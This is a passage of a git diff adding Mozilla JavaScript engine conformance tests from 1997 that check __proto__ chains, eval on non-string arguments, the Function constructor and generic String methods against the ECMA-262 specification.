+var TITLE = "Native ECMAScript Objects";
+
+writeHeaderToLog( SECTION + " "+ TITLE);
+/*
+ new TestCase( SECTION, "Function.prototype.__proto__", Object.prototype, Function.prototype.__proto__ );
+ new TestCase( SECTION, "Array.prototype.__proto__", Object.prototype, Array.prototype.__proto__ );
+ new TestCase( SECTION, "String.prototype.__proto__", Object.prototype, String.prototype.__proto__ );
+ new TestCase( SECTION, "Boolean.prototype.__proto__", Object.prototype, Boolean.prototype.__proto__ );
+ new TestCase( SECTION, "Number.prototype.__proto__", Object.prototype, Number.prototype.__proto__ );
+// new TestCase( SECTION, "Math.prototype.__proto__", Object.prototype, Math.prototype.__proto__ );
+new TestCase( SECTION, "Date.prototype.__proto__", Object.prototype, Date.prototype.__proto__ );
+new TestCase( SECTION, "TestCase.prototype.__proto__", Object.prototype, TestCase.prototype.__proto__ );
+
+new TestCase( SECTION, "MyObject.prototype.__proto__", Object.prototype, MyObject.prototype.__proto__ );
+*/
+new TestCase( SECTION, "Function.prototype.__proto__ == Object.prototype", true, Function.prototype.__proto__ == Object.prototype );
+new TestCase( SECTION, "Array.prototype.__proto__ == Object.prototype", true, Array.prototype.__proto__ == Object.prototype );
+new TestCase( SECTION, "String.prototype.__proto__ == Object.prototype", true, String.prototype.__proto__ == Object.prototype );
+new TestCase( SECTION, "Boolean.prototype.__proto__ == Object.prototype", true, Boolean.prototype.__proto__ == Object.prototype );
+new TestCase( SECTION, "Number.prototype.__proto__ == Object.prototype", true, Number.prototype.__proto__ == Object.prototype );
+// new TestCase( SECTION, "Math.prototype.__proto__ == Object.prototype", true, Math.prototype.__proto__ == Object.prototype );
+new TestCase( SECTION, "Date.prototype.__proto__ == Object.prototype", true, Date.prototype.__proto__ == Object.prototype );
+new TestCase( SECTION, "TestCase.prototype.__proto__ == Object.prototype", true, TestCase.prototype.__proto__ == Object.prototype );
+
+new TestCase( SECTION, "MyObject.prototype.__proto__ == Object.prototype", true, MyObject.prototype.__proto__ == Object.prototype );
+
+
+test();
+
+
+function MyObject( value ) {
+ this.value = value;
+ this.valueOf = new Function( "return this.value" );
+}
diff --git a/js/src/tests/ecma/extensions/15-2.js b/js/src/tests/ecma/extensions/15-2.js
new file mode 100644
index 000000000..81724949c
--- /dev/null
+++ b/js/src/tests/ecma/extensions/15-2.js
@@ -0,0 +1,43 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 15-2.js
+ ECMA Section: 15 Native ECMAScript Objects
+
+ Description: Every built-in function and every built-in constructor
+ has the Function prototype object, which is the value of
+ the expression Function.prototype as the value of its
+ internal [[Prototype]] property, except the Function
+ prototype object itself.
+
+ That is, the __proto__ property of builtin functions and
+ constructors should be the Function.prototype object.
+
+ Author: christine@netscape.com
+ Date: 28 october 1997
+
+*/
+var SECTION = "15-2";
+var VERSION = "ECMA_1";
+startTest();
+var TITLE = "Native ECMAScript Objects";
+
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+new TestCase( SECTION, "Object.__proto__", Function.prototype, Object.__proto__ );
+new TestCase( SECTION, "Array.__proto__", Function.prototype, Array.__proto__ );
+new TestCase( SECTION, "String.__proto__", Function.prototype, String.__proto__ );
+new TestCase( SECTION, "Boolean.__proto__", Function.prototype, Boolean.__proto__ );
+new TestCase( SECTION, "Number.__proto__", Function.prototype, Number.__proto__ );
+new TestCase( SECTION, "Date.__proto__", Function.prototype, Date.__proto__ );
+new TestCase( SECTION, "TestCase.__proto__", Function.prototype, TestCase.__proto__ );
+
+new TestCase( SECTION, "eval.__proto__", Function.prototype, eval.__proto__ );
+new TestCase( SECTION, "Math.pow.__proto__", Function.prototype, Math.pow.__proto__ );
+new TestCase( SECTION, "String.prototype.indexOf.__proto__", Function.prototype, String.prototype.indexOf.__proto__ );
+
+test();
diff --git a/js/src/tests/ecma/extensions/15.1.2.1-1.js b/js/src/tests/ecma/extensions/15.1.2.1-1.js
new file mode 100644
index 000000000..3119abd6d
--- /dev/null
+++ b/js/src/tests/ecma/extensions/15.1.2.1-1.js
@@ -0,0 +1,53 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 15.1.2.1-1.js
+ ECMA Section: 15.1.2.1 eval(x)
+
+ if x is not a string object, return x.
+ Description:
+ Author: christine@netscape.com
+ Date: 16 september 1997
+*/
+var SECTION = "15.1.2.1-1";
+var VERSION = "ECMA_1";
+var TITLE = "eval(x)";
+var BUGNUMBER = "none";
+
+startTest();
+
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+new TestCase( SECTION, "eval.length", 1, eval.length );
+new TestCase( SECTION, "var PROPS = ''; for ( p in eval ) { PROPS += p }; PROPS", "", eval("var PROPS = ''; for ( p in eval ) { PROPS += p }; PROPS") );
+new TestCase( SECTION, "eval.length = null; eval.length", 1, eval( "eval.length = null; eval.length") );
+// new TestCase( SECTION, "eval.__proto__", Function.prototype, eval.__proto__ );
+
+// test cases where argument is not a string. should return the argument.
+
+new TestCase( SECTION, "eval()", void 0, eval() );
+new TestCase( SECTION, "eval(void 0)", void 0, eval( void 0) );
+new TestCase( SECTION, "eval(null)", null, eval( null ) );
+new TestCase( SECTION, "eval(true)", true, eval( true ) );
+new TestCase( SECTION, "eval(false)", false, eval( false ) );
+
+new TestCase( SECTION, "typeof eval(new String('Infinity/-0')", "object", typeof eval(new String('Infinity/-0')) );
+
+new TestCase( SECTION, "eval([1,2,3,4,5,6])", "1,2,3,4,5,6", ""+eval([1,2,3,4,5,6]) );
+new TestCase( SECTION, "eval(new Array(0,1,2,3)", "1,2,3", ""+ eval(new Array(1,2,3)) );
+new TestCase( SECTION, "eval(1)", 1, eval(1) );
+new TestCase( SECTION, "eval(0)", 0, eval(0) );
+new TestCase( SECTION, "eval(-1)", -1, eval(-1) );
+new TestCase( SECTION, "eval(Number.NaN)", Number.NaN, eval(Number.NaN) );
+new TestCase( SECTION, "eval(Number.MIN_VALUE)", 5e-308, eval(Number.MIN_VALUE) );
+new TestCase( SECTION, "eval(-Number.MIN_VALUE)", -5e-308, eval(-Number.MIN_VALUE) );
+new TestCase( SECTION, "eval(Number.POSITIVE_INFINITY)", Number.POSITIVE_INFINITY, eval(Number.POSITIVE_INFINITY) );
+new TestCase( SECTION, "eval(Number.NEGATIVE_INFINITY)", Number.NEGATIVE_INFINITY, eval(Number.NEGATIVE_INFINITY) );
+new TestCase( SECTION, "eval( 4294967296 )", 4294967296, eval(4294967296) );
+new TestCase( SECTION, "eval( 2147483648 )", 2147483648, eval(2147483648) );
+
+test();
diff --git a/js/src/tests/ecma/extensions/15.2.1.1.js b/js/src/tests/ecma/extensions/15.2.1.1.js
new file mode 100644
index 000000000..3acaf24d9
--- /dev/null
+++ b/js/src/tests/ecma/extensions/15.2.1.1.js
@@ -0,0 +1,48 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 15.2.1.1.js
+ ECMA Section: 15.2.1.1 The Object Constructor Called as a Function:
+ Object(value)
+ Description: When Object is called as a function rather than as a
+ constructor, the following steps are taken:
+
+ 1. If value is null or undefined, create and return a
+ new object with no properties other than internal
+ properties exactly as if the object constructor
+ had been called on that same value (15.2.2.1).
+ 2. Return ToObject (value), whose rules are:
+
+ undefined generate a runtime error
+ null generate a runtime error
+ boolean create a new Boolean object whose default
+ value is the value of the boolean.
+ number Create a new Number object whose default
+ value is the value of the number.
+ string Create a new String object whose default
+ value is the value of the string.
+ object Return the input argument (no conversion).
+
+ Author: christine@netscape.com
+ Date: 17 july 1997
+*/
+
+var SECTION = "15.2.1.1";
+var VERSION = "ECMA_1";
+startTest();
+var TITLE = "Object( value )";
+
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+
+var NULL_OBJECT = Object(null);
+
+new TestCase( SECTION, "Object(null).__proto__", Object.prototype, (Object(null)).__proto__ );
+
+new TestCase( SECTION, "Object(void 0).__proto__", Object.prototype, (Object(void 0)).__proto__ );
+
+test();
diff --git a/js/src/tests/ecma/extensions/15.2.3-1.js b/js/src/tests/ecma/extensions/15.2.3-1.js
new file mode 100644
index 000000000..a7aaf20b5
--- /dev/null
+++ b/js/src/tests/ecma/extensions/15.2.3-1.js
@@ -0,0 +1,30 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 15.2.3-1.js
+ ECMA Section: 15.2.3 Properties of the Object Constructor
+
+ Description: The value of the internal [[Prototype]] property of the
+ Object constructor is the Function prototype object.
+
+ Besides the call and construct propreties and the length
+ property, the Object constructor has properties described
+ in 15.2.3.1.
+
+ Author: christine@netscape.com
+ Date: 28 october 1997
+
+*/
+var SECTION = "15.2.3";
+var VERSION = "ECMA_2";
+startTest();
+
+writeHeaderToLog( SECTION + " Properties of the Object Constructor");
+
+new TestCase( SECTION, "Object.__proto__", Function.prototype, Object.__proto__ );
+
+test();
diff --git a/js/src/tests/ecma/extensions/15.2.4.js b/js/src/tests/ecma/extensions/15.2.4.js
new file mode 100644
index 000000000..f5620094e
--- /dev/null
+++ b/js/src/tests/ecma/extensions/15.2.4.js
@@ -0,0 +1,32 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 15.2.4.js
+ ECMA Section: 15.2.4 Properties of the Object prototype object
+
+ Description: The value of the internal [[Prototype]] property of
+ the Object prototype object is null
+
+ Author: christine@netscape.com
+ Date: 28 october 1997
+
+*/
+
+var SECTION = "15.2.4";
+var VERSION = "ECMA_2";
+startTest();
+var TITLE = "Properties of the Object.prototype object";
+
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+new TestCase( SECTION,
+ "Object.prototype.__proto__",
+ null,
+ Object.prototype.__proto__ );
+
+test();
+
diff --git a/js/src/tests/ecma/extensions/15.3.1.1-1.js b/js/src/tests/ecma/extensions/15.3.1.1-1.js
new file mode 100644
index 000000000..cf21dbb93
--- /dev/null
+++ b/js/src/tests/ecma/extensions/15.3.1.1-1.js
@@ -0,0 +1,48 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 15.3.1.1.js
+ ECMA Section: 15.3.1.1 The Function Constructor Called as a Function
+
+ Description:
+ When the Function function is called with some arguments p1, p2, . . . , pn, body
+ (where n might be 0, that is, there are no "p" arguments, and where body might
+ also not be provided), the following steps are taken:
+
+ 1. Create and return a new Function object exactly if the function constructor had
+ been called with the same arguments (15.3.2.1).
+
+ Author: christine@netscape.com
+ Date: 28 october 1997
+
+*/
+var SECTION = "15.3.1.1-1";
+var VERSION = "ECMA_1";
+startTest();
+var TITLE = "The Function Constructor Called as a Function";
+
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+var MyObject = Function( "value", "this.value = value; this.valueOf = Function( 'return this.value' ); this.toString = Function( 'return String(this.value);' )" );
+
+
+var myfunc = Function();
+myfunc.toString = Object.prototype.toString;
+
+// not going to test toString here since it is implementation dependent.
+// new TestCase( SECTION, "myfunc.toString()", "function anonymous() { }", myfunc.toString() );
+
+myfunc.toString = Object.prototype.toString;
+
+new TestCase( SECTION,
+ "MyObject.__proto__ == Function.prototype",
+ true,
+ MyObject.__proto__ == Function.prototype );
+
+test();
+
+
diff --git a/js/src/tests/ecma/extensions/15.3.1.1-2.js b/js/src/tests/ecma/extensions/15.3.1.1-2.js
new file mode 100644
index 000000000..ab9bbf91c
--- /dev/null
+++ b/js/src/tests/ecma/extensions/15.3.1.1-2.js
@@ -0,0 +1,48 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 15.3.1.1-2.js
+ ECMA Section: 15.3.1.1 The Function Constructor Called as a Function
+ Function(p1, p2, ..., pn, body )
+
+ Description:
+ When the Function function is called with some arguments p1, p2, . . . , pn,
+ body (where n might be 0, that is, there are no "p" arguments, and where body
+ might also not be provided), the following steps are taken:
+
+ 1. Create and return a new Function object exactly if the function constructor
+ had been called with the same arguments (15.3.2.1).
+
+ Author: christine@netscape.com
+ Date: 28 october 1997
+
+*/
+var SECTION = "15.3.1.1-2";
+var VERSION = "ECMA_1";
+startTest();
+var TITLE = "The Function Constructor Called as a Function";
+
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+var myfunc2 = Function("a, b, c", "return a+b+c" );
+var myfunc3 = Function("a,b", "c", "return a+b+c" );
+
+myfunc2.toString = Object.prototype.toString;
+myfunc3.toString = Object.prototype.toString;
+
+
+new TestCase( SECTION,
+ "myfunc2.__proto__",
+ Function.prototype,
+ myfunc2.__proto__ );
+
+new TestCase( SECTION,
+ "myfunc3.__proto__",
+ Function.prototype,
+ myfunc3.__proto__ );
+
+test();
diff --git a/js/src/tests/ecma/extensions/15.3.2.1-1.js b/js/src/tests/ecma/extensions/15.3.2.1-1.js
new file mode 100644
index 000000000..201fbeb90
--- /dev/null
+++ b/js/src/tests/ecma/extensions/15.3.2.1-1.js
@@ -0,0 +1,38 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 15.3.2.1.js
+ ECMA Section: 15.3.2.1 The Function Constructor
+ new Function(p1, p2, ..., pn, body )
+
+ Description: The last argument specifies the body (executable code)
+ of a function; any preceding arguments sepcify formal
+ parameters.
+
+ See the text for description of this section.
+
+ This test examples from the specification.
+
+ Author: christine@netscape.com
+ Date: 28 october 1997
+
+*/
+var SECTION = "15.3.2.1";
+var VERSION = "ECMA_1";
+startTest();
+var TITLE = "The Function Constructor";
+
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+var MyObject = new Function( "value", "this.value = value; this.valueOf = new Function( 'return this.value' ); this.toString = new Function( 'return String(this.value);' )" );
+
+new TestCase( SECTION,
+ "MyObject.__proto__ == Function.prototype",
+ true,
+ MyObject.__proto__ == Function.prototype );
+
+test();
diff --git a/js/src/tests/ecma/extensions/15.3.2.1-2.js b/js/src/tests/ecma/extensions/15.3.2.1-2.js
new file mode 100644
index 000000000..3a6d404b1
--- /dev/null
+++ b/js/src/tests/ecma/extensions/15.3.2.1-2.js
@@ -0,0 +1,38 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 15.3.2.1.js
+ ECMA Section: 15.3.2.1 The Function Constructor
+ new Function(p1, p2, ..., pn, body )
+
+ Description:
+ Author: christine@netscape.com
+ Date: 28 october 1997
+
+*/
+var SECTION = "15.3.2.1-2";
+var VERSION = "ECMA_1";
+startTest();
+var TITLE = "The Function Constructor";
+
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+
+var myfunc1 = new Function("a","b","c", "return a+b+c" );
+var myfunc2 = new Function("a, b, c", "return a+b+c" );
+var myfunc3 = new Function("a,b", "c", "return a+b+c" );
+
+myfunc1.toString = Object.prototype.toString;
+myfunc2.toString = Object.prototype.toString;
+myfunc3.toString = Object.prototype.toString;
+
+
+new TestCase( SECTION, "myfunc2.__proto__", Function.prototype, myfunc2.__proto__ );
+
+new TestCase( SECTION, "myfunc3.__proto__", Function.prototype, myfunc3.__proto__ );
+
+test();
diff --git a/js/src/tests/ecma/extensions/15.3.3.1-1.js b/js/src/tests/ecma/extensions/15.3.3.1-1.js
new file mode 100644
index 000000000..88e1608c8
--- /dev/null
+++ b/js/src/tests/ecma/extensions/15.3.3.1-1.js
@@ -0,0 +1,33 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 15.3.3.1-1.js
+ ECMA Section: 15.3.3.1 Properties of the Function Constructor
+ Function.prototype
+
+ Description: The initial value of Function.prototype is the built-in
+ Function prototype object.
+
+ This property shall have the attributes [DontEnum |
+ DontDelete | ReadOnly]
+
+ This test the value of Function.prototype.
+
+ Author: christine@netscape.com
+ Date: 28 october 1997
+
+*/
+var SECTION = "15.3.3.1-1";
+var VERSION = "ECMA_2";
+startTest();
+var TITLE = "Function.prototype";
+
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+new TestCase( SECTION, "Function.prototype == Function.__proto__", true, Function.__proto__ == Function.prototype );
+
+test();
diff --git a/js/src/tests/ecma/extensions/15.4.3.js b/js/src/tests/ecma/extensions/15.4.3.js
new file mode 100644
index 000000000..31ae0f2e9
--- /dev/null
+++ b/js/src/tests/ecma/extensions/15.4.3.js
@@ -0,0 +1,29 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 15.4.3.js
+ ECMA Section: 15.4.3 Properties of the Array Constructor
+ Description: The value of the internal [[Prototype]] property of the
+ Array constructor is the Function prototype object.
+
+ Author: christine@netscape.com
+ Date: 7 october 1997
+*/
+
+var SECTION = "15.4.3";
+var VERSION = "ECMA_2";
+startTest();
+var TITLE = "Properties of the Array Constructor";
+
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+new TestCase( SECTION,
+ "Array.__proto__",
+ Function.prototype,
+ Array.__proto__ );
+
+test();
diff --git a/js/src/tests/ecma/extensions/15.5.3.js b/js/src/tests/ecma/extensions/15.5.3.js
new file mode 100644
index 000000000..a45d289e6
--- /dev/null
+++ b/js/src/tests/ecma/extensions/15.5.3.js
@@ -0,0 +1,32 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 15.5.3.1.js
+ ECMA Section: 15.5.3 Properties of the String Constructor
+
+ Description: The value of the internal [[Prototype]] property of
+ the String constructor is the Function prototype
+ object.
+
+ In addition to the internal [[Call]] and [[Construct]]
+ properties, the String constructor also has the length
+ property, as well as properties described in 15.5.3.1
+ and 15.5.3.2.
+
+ Author: christine@netscape.com
+ Date: 1 october 1997
+*/
+
+var SECTION = "15.5.3";
+var VERSION = "ECMA_2";
+startTest();
+var passed = true;
+writeHeaderToLog( SECTION + " Properties of the String Constructor" );
+
+new TestCase( SECTION, "String.prototype", Function.prototype, String.__proto__ );
+
+test();
diff --git a/js/src/tests/ecma/extensions/15.5.4.2.js b/js/src/tests/ecma/extensions/15.5.4.2.js
new file mode 100644
index 000000000..b67bdbdae
--- /dev/null
+++ b/js/src/tests/ecma/extensions/15.5.4.2.js
@@ -0,0 +1,25 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 15.5.4.2.js
+ ECMA Section: 15.5.4.2 String.prototype.toString
+
+ Description:
+ Author: christine@netscape.com
+ Date: 28 october 1997
+
+*/
+var SECTION = "15.5.4.2";
+var VERSION = "ECMA_1";
+startTest();
+var TITLE = "String.prototype.tostring";
+
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+new TestCase( SECTION, "String.prototype.toString.__proto__", Function.prototype, String.prototype.toString.__proto__ );
+
+test();
diff --git a/js/src/tests/ecma/extensions/15.5.4.4-4.js b/js/src/tests/ecma/extensions/15.5.4.4-4.js
new file mode 100644
index 000000000..4da338ce6
--- /dev/null
+++ b/js/src/tests/ecma/extensions/15.5.4.4-4.js
@@ -0,0 +1,73 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 15.5.4.4-4.js
+ ECMA Section: 15.5.4.4 String.prototype.charAt(pos)
+ Description: Returns a string containing the character at position
+ pos in the string. If there is no character at that
+ string, the result is the empty string. The result is
+ a string value, not a String object.
+
+ When the charAt method is called with one argument,
+ pos, the following steps are taken:
+ 1. Call ToString, with this value as its argument
+ 2. Call ToInteger pos
+ 3. Compute the number of characters in Result(1)
+ 4. If Result(2) is less than 0 is or not less than
+ Result(3), return the empty string
+ 5. Return a string of length 1 containing one character
+ from result (1), the character at position Result(2).
+
+ Note that the charAt function is intentionally generic;
+ it does not require that its this value be a String
+ object. Therefore it can be transferred to other kinds
+ of objects for use as a method.
+
+ This tests assiging charAt to primitive types..
+
+ Author: christine@netscape.com
+ Date: 2 october 1997
+*/
+var SECTION = "15.5.4.4-4";
+var VERSION = "ECMA_2";
+startTest();
+var TITLE = "String.prototype.charAt";
+
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+/*
+ new TestCase( SECTION, "x = null; x.__proto.charAt = String.prototype.charAt; x.charAt(0)", "n", eval("x=null; x.__proto__.charAt = String.prototype.charAt; x.charAt(0)") );
+ new TestCase( SECTION, "x = null; x.__proto.charAt = String.prototype.charAt; x.charAt(1)", "u", eval("x=null; x.__proto__.charAt = String.prototype.charAt; x.charAt(1)") );
+ new TestCase( SECTION, "x = null; x.__proto.charAt = String.prototype.charAt; x.charAt(2)", "l", eval("x=null; x.__proto__.charAt = String.prototype.charAt; x.charAt(2)") );
+ new TestCase( SECTION, "x = null; x.__proto.charAt = String.prototype.charAt; x.charAt(3)", "l", eval("x=null; x.__proto__.charAt = String.prototype.charAt; x.charAt(3)") );
+
+ new TestCase( SECTION, "x = undefined; x.__proto.charAt = String.prototype.charAt; x.charAt(0)", "u", eval("x=undefined; x.__proto__.charAt = String.prototype.charAt; x.charAt(0)") );
+ new TestCase( SECTION, "x = undefined; x.__proto.charAt = String.prototype.charAt; x.charAt(1)", "n", eval("x=undefined; x.__proto__.charAt = String.prototype.charAt; x.charAt(1)") );
+ new TestCase( SECTION, "x = undefined; x.__proto.charAt = String.prototype.charAt; x.charAt(2)", "d", eval("x=undefined; x.__proto__.charAt = String.prototype.charAt; x.charAt(2)") );
+ new TestCase( SECTION, "x = undefined; x.__proto.charAt = String.prototype.charAt; x.charAt(3)", "e", eval("x=undefined; x.__proto__.charAt = String.prototype.charAt; x.charAt(3)") );
+*/
+new TestCase( SECTION, "x = false; x.__proto.charAt = String.prototype.charAt; x.charAt(0)", "f", eval("x=false; x.__proto__.charAt = String.prototype.charAt; x.charAt(0)") );
+new TestCase( SECTION, "x = false; x.__proto.charAt = String.prototype.charAt; x.charAt(1)", "a", eval("x=false; x.__proto__.charAt = String.prototype.charAt; x.charAt(1)") );
+new TestCase( SECTION, "x = false; x.__proto.charAt = String.prototype.charAt; x.charAt(2)", "l", eval("x=false; x.__proto__.charAt = String.prototype.charAt; x.charAt(2)") );
+new TestCase( SECTION, "x = false; x.__proto.charAt = String.prototype.charAt; x.charAt(3)", "s", eval("x=false; x.__proto__.charAt = String.prototype.charAt; x.charAt(3)") );
+new TestCase( SECTION, "x = false; x.__proto.charAt = String.prototype.charAt; x.charAt(4)", "e", eval("x=false; x.__proto__.charAt = String.prototype.charAt; x.charAt(4)") );
+
+new TestCase( SECTION, "x = true; x.__proto.charAt = String.prototype.charAt; x.charAt(0)", "t", eval("x=true; x.__proto__.charAt = String.prototype.charAt; x.charAt(0)") );
+new TestCase( SECTION, "x = true; x.__proto.charAt = String.prototype.charAt; x.charAt(1)", "r", eval("x=true; x.__proto__.charAt = String.prototype.charAt; x.charAt(1)") );
+new TestCase( SECTION, "x = true; x.__proto.charAt = String.prototype.charAt; x.charAt(2)", "u", eval("x=true; x.__proto__.charAt = String.prototype.charAt; x.charAt(2)") );
+new TestCase( SECTION, "x = true; x.__proto.charAt = String.prototype.charAt; x.charAt(3)", "e", eval("x=true; x.__proto__.charAt = String.prototype.charAt; x.charAt(3)") );
+
+new TestCase( SECTION, "x = NaN; x.__proto.charAt = String.prototype.charAt; x.charAt(0)", "N", eval("x=NaN; x.__proto__.charAt = String.prototype.charAt; x.charAt(0)") );
+new TestCase( SECTION, "x = NaN; x.__proto.charAt = String.prototype.charAt; x.charAt(1)", "a", eval("x=NaN; x.__proto__.charAt = String.prototype.charAt; x.charAt(1)") );
+new TestCase( SECTION, "x = NaN; x.__proto.charAt = String.prototype.charAt; x.charAt(2)", "N", eval("x=NaN; x.__proto__.charAt = String.prototype.charAt; x.charAt(2)") );
+
+new TestCase( SECTION, "x = 123; x.__proto.charAt = String.prototype.charAt; x.charAt(0)", "1", eval("x=123; x.__proto__.charAt = String.prototype.charAt; x.charAt(0)") );
+new TestCase( SECTION, "x = 123; x.__proto.charAt = String.prototype.charAt; x.charAt(1)", "2", eval("x=123; x.__proto__.charAt = String.prototype.charAt; x.charAt(1)") );
+new TestCase( SECTION, "x = 123; x.__proto.charAt = String.prototype.charAt; x.charAt(2)", "3", eval("x=123; x.__proto__.charAt = String.prototype.charAt; x.charAt(2)") );
+
+
+test();
diff --git a/js/src/tests/ecma/extensions/15.5.4.5-6.js b/js/src/tests/ecma/extensions/15.5.4.5-6.js
new file mode 100644
index 000000000..8c3470e85
--- /dev/null
+++ b/js/src/tests/ecma/extensions/15.5.4.5-6.js
@@ -0,0 +1,60 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 15.5.4.5-6.js
+ ECMA Section: 15.5.4.5 String.prototype.charCodeAt(pos)
+ Description: Returns a number (a nonnegative integer less than 2^16)
+ representing the Unicode encoding of the character at
+ position pos in this string. If there is no character
+ at that position, the number is NaN.
+
+ When the charCodeAt method is called with one argument
+ pos, the following steps are taken:
+ 1. Call ToString, giving it the theis value as its
+ argument
+ 2. Call ToInteger(pos)
+ 3. Compute the number of characters in result(1).
+ 4. If Result(2) is less than 0 or is not less than
+ Result(3), return NaN.
+ 5. Return a value of Number type, of positive sign, whose
+ magnitude is the Unicode encoding of one character
+ from result 1, namely the characer at position Result
+ (2), where the first character in Result(1) is
+ considered to be at position 0.
+
+ Note that the charCodeAt function is intentionally
+ generic; it does not require that its this value be a
+ String object. Therefore it can be transferred to other
+ kinds of objects for use as a method.
+
+ Author: christine@netscape.com
+ Date: 2 october 1997
+*/
+var SECTION = "15.5.4.5-6";
+var VERSION = "ECMA_2";
+startTest();
+var TITLE = "String.prototype.charCodeAt";
+
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+
+new TestCase( SECTION,
+ "var obj = true; obj.__proto__.charCodeAt = String.prototype.charCodeAt; var s = ''; for ( var i = 0; i < 4; i++ ) s+= String.fromCharCode( obj.charCodeAt(i) ); s",
+ "true",
+ eval("var obj = true; obj.__proto__.charCodeAt = String.prototype.charCodeAt; var s = ''; for ( var i = 0; i < 4; i++ ) s+= String.fromCharCode( obj.charCodeAt(i) ); s") );
+
+new TestCase( SECTION,
+ "var obj = 1234; obj.__proto__.charCodeAt = String.prototype.charCodeAt; var s = ''; for ( var i = 0; i < 4; i++ ) s+= String.fromCharCode( obj.charCodeAt(i) ); s",
+ "1234",
+ eval("var obj = 1234; obj.__proto__.charCodeAt = String.prototype.charCodeAt; var s = ''; for ( var i = 0; i < 4; i++ ) s+= String.fromCharCode( obj.charCodeAt(i) ); s") );
+
+new TestCase( SECTION,
+ "var obj = 'hello'; obj.__proto__.charCodeAt = String.prototype.charCodeAt; var s = ''; for ( var i = 0; i < 5; i++ ) s+= String.fromCharCode( obj.charCodeAt(i) ); s",
+ "hello",
+ eval("var obj = 'hello'; obj.__proto__.charCodeAt = String.prototype.charCodeAt; var s = ''; for ( var i = 0; i < 5; i++ ) s+= String.fromCharCode( obj.charCodeAt(i) ); s") );
+
+test();
diff --git a/js/src/tests/ecma/extensions/15.5.4.7-3.js b/js/src/tests/ecma/extensions/15.5.4.7-3.js
new file mode 100644
index 000000000..3db9df4f9
--- /dev/null
